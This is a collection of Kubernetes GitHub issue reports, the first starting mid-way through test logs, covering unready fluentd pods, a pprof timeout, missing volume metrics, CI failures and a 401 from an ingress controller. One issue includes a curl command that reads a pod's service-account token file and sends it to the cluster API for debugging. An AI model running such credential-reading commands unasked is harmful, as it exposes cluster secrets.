2017-11-15 10:10:08 +0000 utc containersnotready containers with unready status:  prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:43:21 +0000 utc  } \r i1115 10:11:15.908  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-9x4l7               gce-scale-cluster-minion-group-4-13mb  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:20 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:11:09 +0000 utc containersnotready containers with unready status:  prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:21 +0000 utc  } \r i1115 10:11:15.908  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-bcjv8               gce-scale-cluster-minion-group-4w7g    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:58:12 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:01 +0000 utc  } \r i1115 10:11:15.908  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-bfgq8               gce-scale-cluster-minion-group-bgb9    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:58:16 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:02 +0000 utc  } \r i1115 10:11:15.909  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-bpr5c               gce-scale-cluster-minion-group-xbhf    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:32 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:56:50 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:42 +0000 utc  } \r i1115 10:11:15.909  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-c27s6               gce-scale-cluster-minion-group-s9px    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:58:01 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:02 +0000 utc  } \r i1115 10:11:15.909  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-c76jk               gce-scale-cluster-minion-group-fvnk    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:31 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:56:39 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:40 +0000 utc  } \r i1115 10:11:15.909  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-gpdqj               gce-scale-cluster-minion-group-4-kv95  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:20 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:11:05 +0000 utc containersnotready containers with unready status:  prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:31 +0000 utc  } \r i1115 10:11:15.909  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-h4b7v               gce-scale-cluster-minion-group-h7ww    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:57:57 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:01 +0000 utc  } \r i1115 10:11:15.910  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-hgkgh               gce-scale-cluster-minion-group-4-h0nq  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:57:54 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:02 +0000 utc  } \r i1115 10:11:15.910  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-l2lt7               gce-scale-cluster-minion-group-4-vrwh  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:40 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:56:00 +0000 utc containersnotready containers with unready status:  prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:41 +0000 utc  } \r i1115 10:11:15.910  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-nsj4g               gce-scale-cluster-minion-group-2-pmqj  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:41:57 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:08:51 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:42:12 +0000 utc  } \r i1115 10:11:15.910  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-rblv2               gce-scale-cluster-minion-group-lgjk    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:12 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:59:28 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:22 +0000 utc  } \r i1115 10:11:15.910  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-s8wrb               gce-scale-cluster-minion-group-1-wjwx  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:42:12 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:09:44 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:42:24 +0000 utc  } \r i1115 10:11:15.911  nov 15 10:11:15.907: info: fluentd-gcp-v2.0.10-zkwks               gce-scale-cluster-minion-group-np9m    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:13 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:59:27 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:21 +0000 utc  } \r i1115 10:11:15.911  nov 15 10:11:15.907: info: metrics-server-v0.2.0-79ffc98b64-l5f8x                                         pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:41:35 +0000 utc unschedulable 0/5001 nodes are available: 1 nodeunschedulable, 290 insufficient cpu, 5000 insufficient memory.} \r i1115 10:11:15.911  nov 15 10:11:15.907: info: \r i1115 10:11:20.855  nov 15 10:11:20.854: info: the status of pod fluentd-gcp-v2.0.10-6zb2l is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.855  nov 15 10:11:20.855: info: the status of pod fluentd-gcp-v2.0.10-9x4l7 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.856  nov 15 10:11:20.855: info: the status of pod fluentd-gcp-v2.0.10-bcjv8 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.856  nov 15 10:11:20.855: info: the status of pod fluentd-gcp-v2.0.10-bfgq8 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.856  nov 15 10:11:20.855: info: the status of pod fluentd-gcp-v2.0.10-bpr5c is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.856  nov 15 10:11:20.855: info: the status of pod fluentd-gcp-v2.0.10-c27s6 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.857  nov 15 10:11:20.855: info: the status of pod fluentd-gcp-v2.0.10-c76jk is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.857  nov 15 10:11:20.855: info: the status of pod fluentd-gcp-v2.0.10-gpdqj is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.857  nov 15 10:11:20.855: info: the status of pod fluentd-gcp-v2.0.10-h4b7v is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.857  nov 15 10:11:20.856: info: the status of pod fluentd-gcp-v2.0.10-hgkgh is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.857  nov 15 10:11:20.856: info: the status of pod fluentd-gcp-v2.0.10-l2lt7 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.858  nov 15 10:11:20.856: info: the status of pod fluentd-gcp-v2.0.10-nsj4g is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.858  nov 15 10:11:20.856: info: the status of pod fluentd-gcp-v2.0.10-rblv2 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.858  nov 15 10:11:20.857: info: the status of pod fluentd-gcp-v2.0.10-s8wrb is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.858  nov 15 10:11:20.857: info: the status of pod fluentd-gcp-v2.0.10-zkwks is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.863  nov 15 10:11:20.862: info: the status of pod metrics-server-v0.2.0-79ffc98b64-l5f8x is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i1115 10:11:20.863  nov 15 10:11:20.862: info: 15312 / 15328 pods in namespace 'kube-system' are running and ready  612 seconds elapsed \r i1115 10:11:20.863  nov 15 10:11:20.862: info: expected 318 pod replicas in namespace 'kube-system', 317 are running and ready.\r i1115 10:11:20.863  nov 15 10:11:20.862: info: pod                                     node                                   phase    grace  conditions\r i1115 10:11:20.863  nov 15 10:11:20.862: info: fluentd-gcp-v2.0.10-6zb2l               gce-scale-cluster-minion-group-3-t6vk  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:43:10 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:10:08 +0000 utc containersnotready containers with unready status:  prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:43:21 +0000 utc  } \r i1115 10:11:20.864  nov 15 10:11:20.862: info: fluentd-gcp-v2.0.10-9x4l7               gce-scale-cluster-minion-group-4-13mb  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:20 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:11:09 +0000 utc containersnotready containers with unready status:  prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:21 +0000 utc  } \r i1115 10:11:20.864  nov 15 10:11:20.862: info: fluentd-gcp-v2.0.10-bcjv8               gce-scale-cluster-minion-group-4w7g    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:58:12 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:01 +0000 utc  } \r i1115 10:11:20.864  nov 15 10:11:20.862: info: fluentd-gcp-v2.0.10-bfgq8               gce-scale-cluster-minion-group-bgb9    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:58:16 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:02 +0000 utc  } \r i1115 10:11:20.864  nov 15 10:11:20.862: info: fluentd-gcp-v2.0.10-bpr5c               gce-scale-cluster-minion-group-xbhf    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:32 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:56:50 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:42 +0000 utc  } \r i1115 10:11:20.865  nov 15 10:11:20.862: info: fluentd-gcp-v2.0.10-c27s6               gce-scale-cluster-minion-group-s9px    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:58:01 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:02 +0000 utc  } \r i1115 10:11:20.865  nov 15 10:11:20.863: info: fluentd-gcp-v2.0.10-c76jk               gce-scale-cluster-minion-group-fvnk    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:31 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:56:39 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:45:40 +0000 utc  } \r i1115 10:11:20.865  nov 15 10:11:20.863: info: fluentd-gcp-v2.0.10-gpdqj               gce-scale-cluster-minion-group-4-kv95  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:20 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:11:05 +0000 utc containersnotready containers with unready status:  prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:31 +0000 utc  } \r i1115 10:11:20.865  nov 15 10:11:20.863: info: fluentd-gcp-v2.0.10-h4b7v               gce-scale-cluster-minion-group-h7ww    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:57:57 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:01 +0000 utc  } \r i1115 10:11:20.865  nov 15 10:11:20.863: info: fluentd-gcp-v2.0.10-hgkgh               gce-scale-cluster-minion-group-4-h0nq  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:46:54 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:57:54 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:47:02 +0000 utc  } \r i1115 10:11:20.866  nov 15 10:11:20.863: info: fluentd-gcp-v2.0.10-l2lt7               gce-scale-cluster-minion-group-4-vrwh  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:40 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:56:00 +0000 utc containersnotready containers with unready status:  prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:44:41 +0000 utc  } \r i1115 10:11:20.866  nov 15 10:11:20.863: info: fluentd-gcp-v2.0.10-nsj4g               gce-scale-cluster-minion-group-2-pmqj  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:41:57 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:08:51 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:42:12 +0000 utc  } \r i1115 10:11:20.866  nov 15 10:11:20.863: info: fluentd-gcp-v2.0.10-rblv2               gce-scale-cluster-minion-group-lgjk    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:12 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:59:28 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:22 +0000 utc  } \r i1115 10:11:20.866  nov 15 10:11:20.863: info: fluentd-gcp-v2.0.10-s8wrb               gce-scale-cluster-minion-group-1-wjwx  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:42:12 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 10:09:44 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:42:24 +0000 utc  } \r i1115 10:11:20.866  nov 15 10:11:20.863: info: fluentd-gcp-v2.0.10-zkwks               gce-scale-cluster-minion-group-np9m    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:13 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:59:27 +0000 utc containersnotready containers with unready status:  fluentd-gcp prometheus-to-sd-exporter } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:48:21 +0000 utc  } \r i1115 10:11:20.867  nov 15 10:11:20.863: info: metrics-server-v0.2.0-79ffc98b64-l5f8x                                         pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-11-15 09:41:35 +0000 utc unschedulable 0/5001 nodes are available: 1 nodeunschedulable, 290 insufficient cpu, 5000 insufficient memory.} \r i1115 10:11:20.867  nov 15 10:11:20.863: info: \r i1115 10:11:20.867  nov 15 10:11:20.863: info: number of not-ready pods is allowed.\r    \r \r   what you expected to happen  :\r \r either the loop should terminate earlier  if the condition is acceptable  or fail  if it's unacceptable .

is this a bug report or feature request?  :\r \r @kubernetes/sig-api-machinery-bugs \r \r   what happened  :\r \r    \r $ go tool pprof -seconds 60 http://localhost:8080/debug/pprof/profile\r fetching profile over http from http://localhost:8080/debug/pprof/profile?seconds=60\r please wait...  1m0s \r http://localhost:8080/debug/pprof/profile: server response: 504 gateway timeout\r failed to fetch any profiles\r    \r \r in the log:\r \r    \r i1229 14:09:18.457813       7 wrap.go:42  get /debug/pprof/profile?seconds=60:  1m0.000299116s  504\r goroutine 9131335737  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc479891180, 0x1f8 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:207 +0xdd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc479891180, 0x1f8 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:186 +0x35\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .timeout 0xc523c9e080, 0xc47e3a86c0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:201 +0xb3\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp 0xc426088c40, 0x8e482e0, 0xc479891180, 0xc458213300 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:101 +0x292\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x8e482e0, 0xc479891180, 0xc458213300 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:95 +0x318\r net/http.handlerfunc.servehttp 0xc42c69d580, 0x8e482e0, 0xc479891180, 0xc458213300 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withwaitgroup.func1 0x8e482e0, 0xc479891180, 0xc458213300 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/waitgroup.go:51 +0xeb\r net/http.handlerfunc.servehttp 0xc42c69d640, 0x8e482e0, 0xc479891180, 0xc458213300 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withrequestinfo.func1 0x8e482e0, 0xc479891180, 0xc458213300 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:45 +0x20f\r net/http.handlerfunc.servehttp 0xc42c69d680, 0x8e482e0, 0xc479891180, 0xc458213300 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x8e482e0, 0xc479891180, 0xc458213300 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xcb\r net/http.handlerfunc.servehttp 0xc426088cc0, 0x8e482e0, 0xc479891180, 0xc458213300 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x8e482e0, 0xc479891180, 0xc458213300 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41 +0x108\r net/http.handlerfunc.servehttp 0xc426088ce0, 0x8e491a0, 0xc567956380, 0xc458213300 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r net/http.serverhandler.servehttp 0xc4270a4ea0, 0x8e491a0, 0xc567956380, 0xc458213300 \r         /usr/local/go/src/net/http/server.go:2619 +0xb4\r net/http.  conn .serve 0xc64386ee60, 0x8e4b6a0, 0xc5976fc2c0 \r         /usr/local/go/src/net/http/server.go:1801 +0x71d\r created by net/http.  server .serve\r         /usr/local/go/src/net/http/server.go:2720 +0x288\r \r logging error output: \ {\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ timeout: request did not complete within 1m0s\\\ ,\\\ reason\\\ :\\\ timeout\\\ ,\\\ details\\\ :{},\\\ code\\\ :504}\ \ \r    go-http-client/1.1  127.0.0.1:34084 \r    \r \r   what you expected to happen  :\r \r the timeout should be more relaxed on /debug/pprof endpoints.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r go tool pprof -seconds 60 http://localhost:8080/debug/pprof/profile\r    \r

 \r   what happened  :\r on a cluster with an iscsi persistent volume present:\r \r    \r joe@master-10-4-10-1 ~ $ curl -k -ss https://10.4.10.1:10250/metrics | grep kubelet_volume_stats_available_bytes\r joe@master-10-4-10-1 ~ $\r    \r \r   what you expected to happen  :\r i expected metrics concerning the iscsi persistent volume to be returned\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.4+coreos.0\ , gitcommit:\ 4292f9682595afddbb4f8b1483673449c74f9619\ , gittreestate:\ clean\ , builddate:\ 2017-11-21t17:22:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: on-prem\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1576.5.0\r version_id=1576.5.0\r build_id=2018-01-05-1121\r pretty_name=\ container linux by coreos 1576.5.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux master-10-4-10-1 4.14.11-coreos  1 smp fri jan 5 11:00:14 utc 2018 x86_64 intel r  xeon r  cpu e5-2620 v4 @ 2.10ghz genuineintel gnu/linux\r    \r

subresources for custom resources was added as an alpha feature  customresourcesubresources  in v1.10 in https://github.com/kubernetes/kubernetes/pull/55168.\r \r we can move this feature to beta in 1.11. i don't think we have any blockers for promoting it to beta now. if you think of any, please comment below.\r \r /cc @sttts @deads2k @liggitt @lavalamp @enisoc \r \r  /area custom-resources\r \r

is this a bug report or feature request?  :\r  \r  \r   what happened  :\r from sig-network dashboard  https://k8s-testgrid.appspot.com/sig-network-gce cosbeta-no-snat , cosbeta-no-snat job is consistently failing since 07/09/2018 with below error:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/no_snat.go:138\r expected error:\r     < url.error | 0xc4217d0870>: {\r         op: \ get\ ,\r         url: \ http://35.192.58.178:31235/checknosnat?target=10.64.3.7:8080&ips=10.64.0.4:8080,10.64.2.7:8080,10.64.1.9:8080\ ,\r         err: {\r             op: \ dial\ ,\r             net: \ tcp\ ,\r             source: nil,\r             addr: {\r                 ip:  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 35, 192, 58, 178 ,\r                 port: 31235,\r                 zone: \ \ ,\r             },\r             err: {},\r         },\r     }\r     get http://35.192.58.178:31235/checknosnat?target=10.64.3.7:8080&ips=10.64.0.4:8080,10.64.2.7:8080,10.64.1.9:8080: dial tcp 35.192.58.178:31235: i/o timeout\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/no_snat.go:242\r \t\t\t\t\r    \r \r @kubernetes/sig-network-test-failures\r cc @mtaufen @bowei @jingax10

which jobs are failing  :\r on  sig-master-upgrade :\r \r  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster&width=80 \r \r   which test s  are failing  :\r    upgradetest \r     sig-cluster-lifecycle  upgrade  feature:upgrade  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  \r     sig-cluster-lifecycle  cluster-upgrade \r \r   since when has it been failing  :\r failing since 2019-02-01\r \r   testgrid link  :\r  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2768  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2768 \r \r   reason for failure  :\r    \r got error exit status 127, stdout \\\ == pre-upgrade node os and kubelet versions ==\\\ name: \\\\\\\ bootstrap-e2e-master\\\\\\\ ...\r    \r \r   anything else we need to know  :\r coincides with k/k commit 8ddfd4bc3 and k/test-infra 0ed3e3400.\r  diff since last passing k/k commit  https://github.com/kubernetes/kubernetes/compare/fae2376b6...8ddfd4bc3? .\r \r cc @mortent @kacole2 @mariantalla  @smourapina\r \r   

i am trying to remove containermanifest from the api package. there are some references to it in deep_copy_generated.go. so i thought i'd just delete it from types.go, and then run the tool to regenerate that file.  it turns out that the generation tool depends on the api package? so i can't build it:      shell > go build cmd/gendeepcopy/    github.com/googlecloudplatform/kubernetes/pkg/api pkg/api/deep_copy_generated.go:210: undefined: containermanifest pkg/api/deep_copy_generated.go:262: undefined: containermanifestlist pkg/api/deep_copy_generated.go:270: undefined: containermanifest      i imagine i can just delete these manually, then build and run the tool. but the tool shouldn't fail like this. i took a look and it seems to be using reflection instead of stuff like the go/ast, go/build, go/format, go/parser, and go/token packages. using the source code seems like a better approach to code generation since you wouldn't have to depend on properly generated code to build the generation tool.

i'm not sure what the problem is. i'm trying to get an ingress controller to work. it seems that unversioned.newincluster   is failing. i then checked logs and see a lot of      time=\ 2016-05-28t07:52:51z\  level=error msg=\ kubernetes connection error failed to create watch: failed to do version request: get \\\ https://10.2.0.1:443/apis/extensions/v1beta1/ingresses\\\  : http error 401 get \\\ https://10.2.0.1:443/apis/extensions/v1beta1/ingresses\\\ : \\\ unauthorized\\\ \\\ , retrying in 47.824953813s\        i then kubectl exec -it ... /bin/bash 'ed into the pod to try and run the following command, found here http://stackoverflow.com/questions/30690186/how-do-i-access-the-kubernetes-api-from-within-a-pod-container       kube_token=$ </var/run/secrets/kubernetes.io/serviceaccount/token  curl -ssk -h \ authorization: bearer $kube_token\  \\       https://$kubernetes_service_host:$kubernetes_port_443_tcp_port/api/v1beta3/namespaces/default/pods/$hostname      this also confirms it's unauthorized.  how are tokens created? what would cause a pod to have proper access?

for this controller,  updatepodwithretries  is doing 1. an unnecessary live lookup 2. an unnecessary delay 3. an incorrect backoff to avoid colliding with other controllers 4. an incorrect cache skip  @kargakis got a home in mind?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-5-gce/4684/ failed: kubemark {e2e.go}      exit status 1       previous issues for this test:  38776  39335

